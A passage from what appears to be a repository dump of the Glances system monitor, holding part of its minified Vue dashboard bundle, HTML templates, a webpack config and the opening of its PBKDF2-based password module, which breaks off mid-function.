this.disks.length>0}},methods:{getAlert:t=>t.inactive?\"critical\":t.degraded?\"warning\":\"ok\"}},VA=(0,am.A)(ZA,[[\"render\",function(t,e,r,n,i,o){return o.hasDisks?(Ou(),ju(\"section\",KA,[Wu(\"table\",HA,[Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",YA,\"RAID disks \"+Ds(o.disks.length),1),e[0]||(e[0]=Wu(\"th\",{scope:\"col\",class:\"text-end\"},\"Used\",-1)),e[1]||(e[1]=Wu(\"th\",{scope:\"col\",class:\"text-end\"},\"Total\",-1))])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.disks,(t,e)=>(Ou(),ju(\"tr\",{key:e},[Wu(\"td\",JA,[Yu(Ds(t.type.toUpperCase())+\" \"+Ds(t.name)+\" \",1),Bl(Wu(\"div\",qA,\"└─ Degraded mode\",512),[[Od,t.degraded]]),Bl(Wu(\"div\",null,\"   └─ \"+Ds(t.config),513),[[Od,t.degraded]]),Bl(Wu(\"div\",{class:\"critical\"},\"└─ Status \"+Ds(t.status),513),[[Od,t.inactive]]),t.inactive?(Ou(!0),ju(Cu,{key:0},vc(t.components,(e,r)=>(Ou(),ju(\"div\",{key:r},\"    \"+Ds(r===t.components.length-1?\"└─\":\"├─\")+\" disk \"+Ds(e.number)+\": \"+Ds(e.name),1))),128)):qu(\"v-if\",!0)]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"text-end\",o.getAlert(t)])},Ds(t.used),3),[[Od,\"active\"==t.status]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"text-end\",o.getAlert(t)])},Ds(t.available),3),[[Od,\"active\"==t.status]])]))),128))])])])):qu(\"v-if\",!0)}]]),zA={key:0,id:\"sensors\",class:\"plugin\"},XA={class:\"table table-sm table-borderless\"},$A={scope:\"row\"};const ty={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.sensors},view(){return this.data.views.sensors},sensors(){return this.stats.map(t=>this.args.fahrenheit&&\"battery\"!=t.type&&\"fan_speed\"!=t.type?{...t,value:parseFloat(1.8*t.value+32).toFixed(1),unit:\"F\"}:t)},hasSensors(){return this.sensors.length>0}},methods:{getDecoration(t){if(void 0!==this.view[t].value.decoration)return this.view[t].value.decoration.toLowerCase()}}},ey=(0,am.A)(ty,[[\"render\",function(t,e,r,n,i,o){return o.hasSensors?(Ou(),ju(\"section\",zA,[Wu(\"table\",XA,[e[0]||(e[0]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"SENSORS\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"})])],-1)),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.sensors,(t,e)=>(Ou(),ju(\"tr\",{key:e},[Wu(\"td\",$A,Ds(t.label),1),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(t.label)])},Ds(t.value)+Ds(t.unit),3)]))),128))])])])):qu(\"v-if\",!0)}]]),ry={key:0,id:\"smart\",class:\"plugin\"},ny={class:\"table table-sm table-borderless margin-bottom\"},iy={scope:\"row\"},oy={scope:\"row\"},sy={scope:\"row\",class:\"text-end text-truncate\"};const ay={props:{data:{type:Object}},computed:{stats(){return this.data.stats.smart},drives(){return(Array.isArray(this.stats)?this.stats:[]).map(t=>({name:t.DeviceName,details:Object.entries(t).filter(([t])=>\"DeviceName\"!==t).sort(([,t],[,e])=>t.name<e.name?-1:t.name>e.name?1:0).map(([t,e])=>e)}))},hasDrives(){return this.drives.length>0}},methods:{formatted(t){return void 0===t.key?t.raw:this.requiresFormatting(t.key)?this.$filters.bytes(t.raw):t.raw},requiresFormatting:t=>[\"bytesWritten\",\"bytesRead\",\"dataUnitsRead\",\"dataUnitsWritten\",\"hostReadCommands\",\"hostWriteCommands\"].includes(t)}},ly=(0,am.A)(ay,[[\"render\",function(t,e,r,n,i,o){return o.hasDrives?(Ou(),ju(\"section\",ry,[Wu(\"table\",ny,[e[1]||(e[1]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"SMART DISKS\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"})])],-1)),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.drives,(t,r)=>(Ou(),ju(Cu,{key:r},[Wu(\"tr\",null,[Wu(\"td\",iy,Ds(t.name),1),e[0]||(e[0]=Wu(\"td\",{scope:\"col\",class:\"text-end\"},null,-1))]),(Ou(!0),ju(Cu,null,vc(t.details,(t,e)=>(Ou(),ju(\"tr\",{key:e},[Wu(\"td\",oy,Ds(t.name),1),Wu(\"td\",sy,Ds(o.formatted(t)),1)]))),128))],64))),128))])])])):qu(\"v-if\",!0)}]]),cy={id:\"system\",class:\"plugin\"},uy={key:0,class:\"critical\"},dy={class:\"title\"},py={key:1,class:\"text-truncate\"};const my={props:{data:{type:Object}},data:()=>({store:ym}),computed:{stats(){return this.data.stats.system},hostname(){return this.stats.hostname},humanReadableName(){return this.stats.hr_name},isDisconnected(){return\"FAILURE\"===this.store.status}}},hy=(0,am.A)(my,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",cy,[o.isDisconnected?(Ou(),ju(\"span\",uy,\"Disconnected from\")):qu(\"v-if\",!0),Wu(\"span\",dy,Ds(o.hostname),1),o.isDisconnected?qu(\"v-if\",!0):(Ou(),ju(\"span\",py,Ds(o.humanReadableName),1))])}]]),gy={id:\"uptime\",class:\"plugin\"};const fy={props:{data:{type:Object}},computed:{value(){return this.data.stats.uptime}}},by=(0,am.A)(fy,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",gy,[Wu(\"span\",null,\"Uptime: \"+Ds(o.value),1)])}]]),Ay={key:0,id:\"vms\",class:\"plugin\"},yy={class:\"table table-sm table-borderless table-striped table-hover\"};const vy={props:{data:{type:Object}},data:()=>({store:ym,sorter:void 0}),computed:{args(){return this.store.args||{}},sortProcessesKey(){return this.args.sort_processes_key},stats(){return this.data.stats.vms},views(){return this.data.views.vms},vms(){const{sorter:t}=this,e=(this.stats||[]).map(t=>({id:t.id,name:t.name,status:null!=t.status?t.status:\"-\",cpu_count:null!=t.cpu_count?t.cpu_count:\"-\",cpu_time:null!=t.cpu_time?t.cpu_time:\"-\",cpu_time_rate_per_sec:null!=t.cpu_time_rate_per_sec?t.cpu_time_rate_per_sec:\"?\",memory_usage:null!=t.memory_usage?t.memory_usage:\"-\",memory_total:null!=t.memory_total?t.memory_total:\"-\",load_1min:null!=t.load_1min?t.load_1min:\"-\",load_5min:null!=t.load_5min?t.load_5min:\"-\",load_15min:null!=t.load_15min?t.load_15min:\"-\",release:t.release,image:t.image,engine:t.engine,engine_version:t.engine_version}));return(0,fm.orderBy)(e,[t.column].reduce((t,e)=>(\"memory_usage\"===e&&(e=[\"memory_usage\"]),t.concat(e)),[]),[t.isReverseColumn(t.column)?\"desc\":\"asc\"])},showEngine(){return this.views.show_engine_name}},watch:{sortProcessesKey:{immediate:!0,handler(t){t&&![\"load_1min\",\"cpu_time\",\"memory_usage\",\"name\"].includes(t)||(this.sorter={column:this.args.sort_processes_key||\"cpu_time\",auto:!this.args.sort_processes_key,isReverseColumn:function(t){return![\"name\"].includes(t)},getColumnLabel:function(t){return{load_1min:\"load\",cpu_time:\"CPU time\",memory_usage:\"memory consumption\",name:\"VM name\",None:\"None\"}[t]||t}})}}}},xy=(0,am.A)(vy,[[\"render\",function(t,e,r,n,i,o){return o.vms.length?(Ou(),ju(\"section\",Ay,[e[8]||(e[8]=Wu(\"span\",{class:\"title\"},\"VMs\",-1)),Bl(Wu(\"span\",null,Ds(o.vms.length)+\" sorted by \"+Ds(i.sorter.getColumnLabel(i.sorter.column)),513),[[Od,o.vms.length>1]]),Wu(\"table\",yy,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",null,\"Engine\",512),[[Od,o.showEngine]]),Wu(\"td\",{class:_s([\"sortable\",\"name\"===i.sorter.column&&\"sort\"]),onClick:e[0]||(e[0]=t=>o.args.sort_processes_key=\"name\")},\" Name \",2),e[4]||(e[4]=Wu(\"td\",null,\"Status\",-1)),e[5]||(e[5]=Wu(\"td\",null,\"Core\",-1)),Wu(\"td\",{class:_s([\"sortable\",\"cpu_time\"===i.sorter.column&&\"sort\"]),onClick:e[1]||(e[1]=t=>o.args.sort_processes_key=\"cpu_time\")},\" CPU% \",2),Wu(\"td\",{class:_s([\"sortable\",\"memory_usage\"===i.sorter.column&&\"sort\"]),onClick:e[2]||(e[2]=t=>o.args.sort_processes_key=\"memory_usage\")},\" MEM \",2),e[6]||(e[6]=Wu(\"td\",null,\"/ MAX\",-1)),Wu(\"td\",{class:_s([\"sortable\",\"load_1min\"===i.sorter.column&&\"sort\"]),onClick:e[3]||(e[3]=t=>o.args.sort_processes_key=\"load_1min\")},\" LOAD 1/5/15min \",2),e[7]||(e[7]=Wu(\"td\",null,\"Release\",-1))])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.vms,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Bl(Wu(\"td\",null,Ds(e.engine),513),[[Od,o.showEngine]]),Wu(\"td\",null,Ds(e.name),1),Wu(\"td\",{class:_s(\"stopped\"==e.status?\"careful\":\"ok\")},Ds(e.status),3),Wu(\"td\",null,Ds(t.$filters.number(e.cpu_count,1)),1),Wu(\"td\",null,Ds(t.$filters.number(e.cpu_time,1)),1),Wu(\"td\",null,Ds(t.$filters.bytes(e.memory_usage)),1),Wu(\"td\",null,\" / \"+Ds(t.$filters.bytes(e.memory_total)),1),Wu(\"td\",null,Ds(t.$filters.number(e.load_1min))+\"/\"+Ds(t.$filters.number(e.load_5min))+\"/\"+Ds(t.$filters.number(e.load_15min)),1),Wu(\"td\",null,Ds(e.release),1)]))),128))])])])):qu(\"v-if\",!0)}]]),wy={key:0,id:\"wifi\",class:\"plugin\"},_y={class:\"table table-sm table-borderless margin-bottom\"},ky={scope:\"row\"};const Cy={props:{data:{type:Object}},computed:{stats(){return this.data.stats.wifi},view(){return this.data.views.wifi},hotspots(){const t=this.stats.map(t=>{if(\"\"!==t.ssid)return{ssid:t.ssid,quality_level:t.quality_level}}).filter(Boolean);return(0,fm.orderBy)(t,[\"ssid\"])},hasHotpots(){return this.hotspots.length>0}},methods:{getDecoration(t,e){if(void 0!==this.view[t.ssid][e])return this.view[t.ssid][e].decoration.toLowerCase()}}},Iy=(0,am.A)(Cy,[[\"render\",function(t,e,r,n,i,o){return o.hasHotpots?(Ou(),ju(\"section\",wy,[Wu(\"table\",_y,[e[0]||(e[0]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"WIFI\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"},\"dBm\")])],-1)),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.hotspots,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",ky,Ds(t.$filters.limitTo(e.ssid,20)),1),Wu(\"td\",{scope:\"row\",class:_s([\"text-end\",o.getDecoration(e,\"quality_level\")])},Ds(e.quality_level),3)]))),128))])])])):qu(\"v-if\",!0)}]]),Sy=JSON.parse('{\"r\":[\"quicklook\",\"cpu\",\"percpu\",\"npu\",\"gpu\",\"mem\",\"memswap\",\"load\"],\"H\":[\"network\",\"ports\",\"wifi\",\"connections\",\"diskio\",\"fs\",\"irq\",\"folders\",\"raid\",\"smart\",\"sensors\"]}'),Ey={components:{GlancesHelp:lm,GlancesPluginAlert:km,GlancesPluginCloud:Em,GlancesPluginConnections:jm,GlancesPluginCpu:Th,GlancesPluginDiskio:rg,GlancesPluginContainers:ih,GlancesPluginFolders:lg,GlancesPluginFs:bg,GlancesPluginNpu:Ig,GlancesPluginGpu:Yg,GlancesPluginHostname:zg,GlancesPluginIp:sf,GlancesPluginIrq:pf,GlancesPluginLoad:yf,GlancesPluginMem:Qf,GlancesPluginMemswap:Jf,GlancesPluginNetwork:lb,GlancesPluginNow:db,GlancesPluginPercpu:vb,GlancesPluginPorts:Tb,GlancesPluginProcess:_A,GlancesPluginQuicklook:UA,GlancesPluginRaid:VA,GlancesPluginSensors:ey,GlancesPluginSmart:ly,GlancesPluginSystem:hy,GlancesPluginUptime:by,GlancesPluginVms:xy,GlancesPluginWifi:Iy},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},config(){return this.store.config||{}},data(){return this.store.data||{}},dataLoaded(){return void 0!==this.store.data},hasNpu(){return this.store.data.stats.npu.length>0},hasGpu(){return this.store.data.stats.gpu.length>0},isLinux(){return this.store.data.isLinux},title(){const{data:t}=this,e=t.stats&&t.stats.system&&t.stats.system.hostname||\"\";return e?`${e} - Glances`:\"Glances\"},topMenu(){return void 0!==this.config.outputs&&void 0!==this.config.outputs.top_menu?this.config.outputs.top_menu.split(\",\"):Sy.r},leftMenu(){return void 0!==this.config.outputs&&void 0!==this.config.outputs.left_menu?this.config.outputs.left_menu.split(\",\"):Sy.H}},watch:{title(){document&&(document.title=this.title)}},mounted(){const t=window.__GLANCES__||{},e=isFinite(t[\"refresh-time\"])?parseInt(t[\"refresh-time\"],10):void 0;xm.init(e),this.setupHotKeys()},beforeUnmount(){Vp.unbind()},methods:{setupHotKeys(){Vp(\"a\",()=>{this.store.args.sort_processes_key=null}),Vp(\"c\",()=>{this.store.args.sort_processes_key=\"cpu_percent\"}),Vp(\"m\",()=>{this.store.args.sort_processes_key=\"memory_percent\"}),Vp(\"u\",()=>{this.store.args.sort_processes_key=\"username\"}),Vp(\"p\",()=>{this.store.args.sort_processes_key=\"name\"}),Vp(\"o\",()=>{this.store.args.sort_processes_key=\"cpu_num\"}),Vp(\"i\",()=>{this.store.args.sort_processes_key=\"io_counters\"}),Vp(\"t\",()=>{this.store.args.sort_processes_key=\"timemillis\"}),Vp(\"shift+A\",()=>{this.store.args.disable_amps=!this.store.args.disable_amps}),Vp(\"d\",()=>{this.store.args.disable_diskio=!this.store.args.disable_diskio}),Vp(\"shift+Q\",()=>{this.store.args.enable_irq=!this.store.args.enable_irq}),Vp(\"f\",()=>{this.store.args.disable_fs=!this.store.args.disable_fs}),Vp(\"j\",()=>{this.store.args.programs=!this.store.args.programs}),Vp(\"k\",()=>{this.store.args.disable_connections=!this.store.args.disable_connections}),Vp(\"n\",()=>{this.store.args.disable_network=!this.store.args.disable_network}),Vp(\"s\",()=>{this.store.args.disable_sensors=!this.store.args.disable_sensors}),Vp(\"2\",()=>{this.store.args.disable_left_sidebar=!this.store.args.disable_left_sidebar}),Vp(\"z\",()=>{this.store.args.disable_process=!this.store.args.disable_process}),Vp(\"shift+S\",()=>{this.store.args.process_short_name=!this.store.args.process_short_name}),Vp(\"shift+D\",()=>{this.store.args.disable_containers=!this.store.args.disable_containers}),Vp(\"b\",()=>{this.store.args.byte=!this.store.args.byte}),Vp(\"shift+B\",()=>{this.store.args.diskio_iops=!this.store.args.diskio_iops,this.store.args.diskio_iops&&(this.store.args.diskio_latency=!1)}),Vp(\"shift+L\",()=>{this.store.args.diskio_latency=!this.store.args.diskio_latency,this.store.args.diskio_latency&&(this.store.args.diskio_iops=!1)}),Vp(\"l\",()=>{this.store.args.disable_alert=!this.store.args.disable_alert}),Vp(\"1\",()=>{this.store.args.percpu=!this.store.args.percpu}),Vp(\"h\",()=>{this.store.args.help_tag=!this.store.args.help_tag}),Vp(\"shift+T\",()=>{this.store.args.network_sum=!this.store.args.network_sum}),Vp(\"shift+U\",()=>{this.store.args.network_cumul=!this.store.args.network_cumul}),Vp(\"shift+F\",()=>{this.store.args.fs_free_space=!this.store.args.fs_free_space}),Vp(\"3\",()=>{this.store.args.disable_quicklook=!this.store.args.disable_quicklook}),Vp(\"6\",()=>{this.store.args.meangpu=!this.store.args.meangpu}),Vp(\"7\",()=>{this.store.args.disable_npu=!this.store.args.disable_npu}),Vp(\"shift+G\",()=>{this.store.args.disable_gpu=!this.store.args.disable_gpu}),Vp(\"5\",()=>{this.store.args.disable_quicklook=!this.store.args.disable_quicklook,this.store.args.disable_cpu=!this.store.args.disable_cpu,this.store.args.disable_mem=!this.store.args.disable_mem,this.store.args.disable_memswap=!this.store.args.disable_memswap,this.store.args.disable_load=!this.store.args.disable_load,this.store.args.disable_gpu=!this.store.args.disable_gpu,this.store.args.disable_npu=!this.store.args.disable_npu}),Vp(\"shift+I\",()=>{this.store.args.disable_ip=!this.store.args.disable_ip}),Vp(\"shift+P\",()=>{this.store.args.disable_ports=!this.store.args.disable_ports}),Vp(\"shift+V\",()=>{this.store.args.disable_vms=!this.store.args.disable_vms}),Vp(\"shift+W\",()=>{this.store.args.disable_wifi=!this.store.args.disable_wifi}),Vp(\"0\",()=>{this.store.args.disable_irix=!this.store.args.disable_irix})}}};const Dy=$d((0,am.A)(Ey,[[\"render\",function(t,e,r,n,i,o){const s=fc(\"glances-help\"),a=fc(\"glances-plugin-hostname\"),l=fc(\"glances-plugin-uptime\"),c=fc(\"glances-plugin-system\"),u=fc(\"glances-plugin-ip\"),d=fc(\"glances-plugin-now\"),p=fc(\"glances-plugin-cloud\"),m=fc(\"glances-plugin-quicklook\"),h=fc(\"glances-plugin-cpu\"),g=fc(\"glances-plugin-npu\"),f=fc(\"glances-plugin-gpu\"),b=fc(\"glances-plugin-mem\"),A=fc(\"glances-plugin-memswap\"),y=fc(\"glances-plugin-load\"),v=fc(\"glances-plugin-vms\"),x=fc(\"glances-plugin-containers\"),w=fc(\"glances-plugin-process\"),_=fc(\"glances-plugin-alert\");return o.dataLoaded?o.args.help_tag?(Ou(),Pu(s,{key:1})):(Ou(),ju(\"main\",np,[qu(\" Display minimal header on low screen size (smarthphone) \"),Wu(\"div\",ip,[Wu(\"div\",op,[o.args.disable_system?qu(\"v-if\",!0):(Ou(),ju(\"div\",sp,[Uu(a,{data:o.data},null,8,[\"data\"])])),o.args.disable_uptime?qu(\"v-if\",!0):(Ou(),ju(\"div\",ap,[Uu(l,{data:o.data},null,8,[\"data\"])]))])]),qu(\" Display standard header on others screen sizes \"),Wu(\"div\",lp,[Wu(\"div\",cp,[o.args.disable_system?qu(\"v-if\",!0):(Ou(),ju(\"div\",up,[Uu(c,{data:o.data},null,8,[\"data\"])])),o.args.disable_ip?qu(\"v-if\",!0):(Ou(),ju(\"div\",dp,[Uu(u,{data:o.data},null,8,[\"data\"])])),o.args.disable_uptime?qu(\"v-if\",!0):(Ou(),ju(\"div\",pp,[Uu(l,{data:o.data},null,8,[\"data\"])])),o.args.disable_now?qu(\"v-if\",!0):(Ou(),ju(\"div\",mp,[Uu(d,{data:o.data},null,8,[\"data\"])]))])]),Wu(\"div\",hp,[o.args.disable_cloud?qu(\"v-if\",!0):(Ou(),ju(\"div\",gp,[Uu(p,{data:o.data},null,8,[\"data\"])]))]),qu(\" Display top menu with CPU, MEM, LOAD...\"),Wu(\"div\",fp,[qu(\" Quicklook \"),o.args.disable_quicklook?qu(\"v-if\",!0):(Ou(),ju(\"div\",bp,[Uu(m,{data:o.data},null,8,[\"data\"])])),qu(\" CPU \"),o.args.disable_cpu&&o.args.percpu?qu(\"v-if\",!0):(Ou(),ju(\"div\",Ap,[Uu(h,{data:o.data},null,8,[\"data\"])])),qu(' TODO: percpu need to be refactor\\n                <div class=\"col\"\\n                        v-if=\"!args.disable_cpu && !args.percpu\">\\n                    <glances-plugin-cpu :data=\"data\"></glances-plugin-cpu>\\n                </div>\\n                <div class=\"col\"\\n                        v-if=\"!args.disable_cpu && args.percpu\">\\n                    <glances-plugin-percpu :data=\"data\"></glances-plugin-percpu>\\n                </div> '),qu(\" NPU \"),!o.args.disable_npu&&o.hasNpu?(Ou(),ju(\"div\",yp,[Uu(g,{data:o.data},null,8,[\"data\"])])):qu(\"v-if\",!0),qu(\" GPU \"),!o.args.disable_gpu&&o.hasGpu?(Ou(),ju(\"div\",vp,[Uu(f,{data:o.data},null,8,[\"data\"])])):qu(\"v-if\",!0),qu(\" MEM \"),o.args.disable_mem?qu(\"v-if\",!0):(Ou(),ju(\"div\",xp,[Uu(b,{data:o.data},null,8,[\"data\"])])),qu(\" SWAP \"),o.args.disable_memswap?qu(\"v-if\",!0):(Ou(),ju(\"div\",wp,[Uu(A,{data:o.data},null,8,[\"data\"])])),qu(\" LOAD \"),o.args.disable_load?qu(\"v-if\",!0):(Ou(),ju(\"div\",_p,[Uu(y,{data:o.data},null,8,[\"data\"])]))]),qu(\" Display bottom of the screen with sidebar and processlist \"),Wu(\"div\",kp,[Wu(\"div\",Cp,[o.args.disable_left_sidebar?qu(\"v-if\",!0):(Ou(),ju(\"div\",{key:0,class:_s([\"col-3 d-none d-md-block\",{\"sidebar-min\":!o.args.percpu,\"sidebar-max\":o.args.percpu}])},[(Ou(!0),ju(Cu,null,vc(o.leftMenu,t=>{return Ou(),ju(Cu,null,[o.args[`disable_${t}`]?qu(\"v-if\",!0):(Ou(),Pu((e=`glances-plugin-${t}`,Vo(e)?Ac(gc,e,!1)||e:e||bc),{key:0,id:`${t}`,data:o.data},null,8,[\"id\",\"data\"]))],64);var e}),256))],2)),Wu(\"div\",{class:_s([\"col\",{\"sidebar-min\":!o.args.percpu,\"sidebar-max\":o.args.percpu}])},[o.args.disable_vms?qu(\"v-if\",!0):(Ou(),Pu(v,{key:0,data:o.data},null,8,[\"data\"])),o.args.disable_containers?qu(\"v-if\",!0):(Ou(),Pu(x,{key:1,data:o.data},null,8,[\"data\"])),Uu(w,{data:o.data},null,8,[\"data\"]),o.args.disable_alert?qu(\"v-if\",!0):(Ou(),Pu(_,{key:2,data:o.data},null,8,[\"data\"]))],2)])])])):(Ou(),ju(\"div\",rp,[...e[0]||(e[0]=[Wu(\"div\",{class:\"loader\"},\"Glances is loading...\",-1)])]))}]]));Dy.config.globalProperties.$filters=e,Dy.mount(\"#app\")})()})();"
  },
  {
    "path": "glances/outputs/static/templates/browser.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" data-bs-theme=\"dark\">\n\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n  <title>Glances Central Browser</title>\n\n  <link rel=\"icon\" type=\"image/x-icon\" href=\"static/favicon.ico\" />\n  <script>\n    window.__GLANCES__ = {\n      'refresh-time': '{{ refresh_time }}'\n    }\n  </script>\n  <script src=\"static/browser.js\" defer></script>\n</head>\n\n<body>\n  <div id=\"browser\"></div>\n</body>\n\n</html>\n"
  },
  {
    "path": "glances/outputs/static/templates/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" data-bs-theme=\"dark\">\n\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n  <title>Glances</title>\n\n  <link rel=\"icon\" type=\"image/x-icon\" href=\"static/favicon.ico\" />\n  <script>\n    window.__GLANCES__ = {\n      'refresh-time': '{{ refresh_time }}'\n    }\n  </script>\n  <script src=\"static/glances.js\" defer></script>\n</head>\n\n<body>\n  <div id=\"app\"></div>\n</body>\n\n</html>\n"
  },
  {
    "path": "glances/outputs/static/webpack.config.js",
    "content": "const webpack = require(\"webpack\");\nconst path = require(\"path\");\nconst CopyWebpackPlugin = require(\"copy-webpack-plugin\");\nconst HtmlWebpackPlugin = require(\"html-webpack-plugin\");\nconst TerserWebpackPlugin = require(\"terser-webpack-plugin\");\nconst { VueLoaderPlugin } = require(\"vue-loader\");\nconst PORT = process.env.PORT || 61209;\n\nmodule.exports = (_, env) => {\n\tconst isProd = env.mode === \"production\";\n\n\treturn {\n\t\tmode: isProd ? \"production\" : \"development\",\n\t\tentry: {\n\t\t\tglances: \"./js/app.js\",\n\t\t\tbrowser: \"./js/browser.js\",\n\t\t},\n\t\toutput: {\n\t\t\tpath: path.join(__dirname, \"public\"),\n\t\t\tfilename: \"[name].js\",\n\t\t\tpublicPath: \"/\",\n\t\t\tclean: true,\n\t\t},\n\t\tdevtool: isProd ? false : \"eval-source-map\",\n\t\tperformance: {\n\t\t\thints: false,\n\t\t},\n\t\tmodule: {\n\t\t\trules: [\n\t\t\t\t{\n\t\t\t\t\ttest: /\\.vue$/i,\n\t\t\t\t\tloader: \"vue-loader\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ttest: /\\.scss$/i,\n\t\t\t\t\tuse: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tloader: \"style-loader\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tloader: \"css-loader\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tloader: \"sass-loader\",\n\t\t\t\t\t\t\toptions: {\n\t\t\t\t\t\t\t\tsassOptions: {\n\t\t\t\t\t\t\t\t\tsilenceDeprecations: [\"import\", \"global-builtin\", \"color-functions\", \"if-function\"],\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ttest: /\\.css$/i,\n\t\t\t\t\tuse: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tloader: \"style-loader\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tloader: \"css-loader\",\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t},\n\t\t\t],\n\t\t},\n\t\tplugins: [\n\t\t\tnew webpack.DefinePlugin({\n\t\t\t\t__VUE_OPTIONS_API__: true,\n\t\t\t\t__VUE_PROD_DEVTOOLS__: false,\n\t\t\t\t__VUE_PROD_HYDRATION_MISMATCH_DETAILS__: false,\n\t\t\t}),\n\t\t\tnew CopyWebpackPlugin({\n\t\t\t\tpatterns: [{ from: \"./images/favicon.ico\" }],\n\t\t\t}),\n\t\t\t!isProd &&\n\t\t\t\tnew HtmlWebpackPlugin({\n\t\t\t\t\ttemplate: \"./templates/index.html\",\n\t\t\t\t\tinject: false,\n\t\t\t\t}),\n\t\t\tisProd && new TerserWebpackPlugin({ extractComments: false }),\n\t\t\tnew VueLoaderPlugin(),\n\t\t].filter(Boolean),\n\t\tdevServer: {\n\t\t\tclient: {\n\t\t\t\toverlay: false,\n\t\t\t},\n\t\t\thost: \"0.0.0.0\",\n\t\t\tport: PORT,\n\t\t\thot: true,\n\t\t\tproxy: [\n\t\t\t\t{\n\t\t\t\t\tcontext: [\"/api\"],\n\t\t\t\t\ttarget: \"http://0.0.0.0:61208\",\n\t\t\t\t},\n\t\t\t],\n\t\t},\n\t};\n};\n"
  },
  {
    "path": "glances/password.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage password.\"\"\"\n\nimport builtins\nimport getpass\nimport hashlib\nimport os\nimport sys\nimport uuid\n\nfrom glances.config import user_config_dir\nfrom glances.globals import b, safe_makedirs, weak_lru_cache\nfrom glances.logger import logger\n\n\nclass GlancesPassword:\n    \"\"\"This class contains all the methods relating to password.\"\"\"\n\n    def __init__(self, username='glances', config=None):\n        self.username = username\n\n        self.config = config\n        self.password_dir = self.local_password_path()\n        self.password_filename = self.username + '.pwd'\n        self.password_file = os.path.join(self.password_dir, self.password_filename)\n\n    def local_password_path(self):\n        \"\"\"Return the local password path.\n        Related to issue: Password files in same configuration dir in effect #2143\n        \"\"\"\n        if self.config is None:\n            return user_config_dir()[0]\n        return self.config.get_value('passwords', 'local_password_path', default=user_config_dir()[0])\n\n    @weak_lru_cache(maxsize=32)\n    def get_hash(self, plain_password, salt=''):\n        \"\"\"Return the hashed password, salt + pbkdf2_hmac.\"\"\"\n        return hashlib.pbkdf2_hmac('sha256', plain_password.encode(), salt.encode(), 100000, dklen=128).hex()\n\n    @weak_lru_cache(maxsize=32)\n    def hash_password(self, plain_password):\n        \"\"\"Hash password with a salt based on UUID (universally unique identifier).\"\"\"\n        salt = uuid.uuid4().hex\n        encrypted_password = self.get_hash(plain_password, salt=salt)\n        return salt + '$' + encrypted_password\n\n    @weak_lru_cache(maxsize=32)\n    def check_password(self, hashed_password, plain_password):\n        \"\"\"Encode the plain_password with the salt of the hashed_password.\n\n        Return the comparison with the encrypted_password.\n        \"\"\"\n        salt, encrypted_password = hashed_password.split('$')\n        re_encrypted_password = self.get_hash(plain_password, salt=salt)\n        return encrypted_password == re_encrypted_password\n\n    def get_password(self, description='', confirm=False, clear=False):\n        \"\"\"Get the password from a Glances client or server.\n\n        For Glances server, get the password (confirm=True, clear=False):\n            1) from the password file (if it exists)\n            2) from the CLI\n        Optionally: save the password to a file (hashed with salt + SHA-pbkdf2_hmac)\n\n        For Glances client, get the password (confirm=False, clear=True):\n            1) from the CLI\n            2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\n               through the network)\n        \"\"\"\n        if os.path.exists(self.password_file) and not clear:\n            # If the password file exist then use it\n            logger.info(f\"Read password from file {self.password_file}\")\n            password = self.load_password()\n        else:\n            # password_hash is the plain SHA-pbkdf2_hmac password\n            # password_hashed is the salt + SHA-pbkdf2_hmac password\n            password_hash = self.get_hash(getpass.getpass(description))\n            password_hashed = self.hash_password(password_hash)\n            if confirm:\n                # password_confirm is the clear password (only used to compare)\n                password_confirm = self.get_hash(getpass.getpass('Confirm new password: '))\n\n                if not self.check_password(password_hashed, password_confirm):\n                    logger.critical(\"Sorry, passwords do not match. Exit.\")\n                    sys.exit(1)\n\n            # Return the plain SHA-pbkdf2_hmac or the salted password\n            if clear:\n                password = password_hash\n            else:\n                password = password_hashed\n\n            # 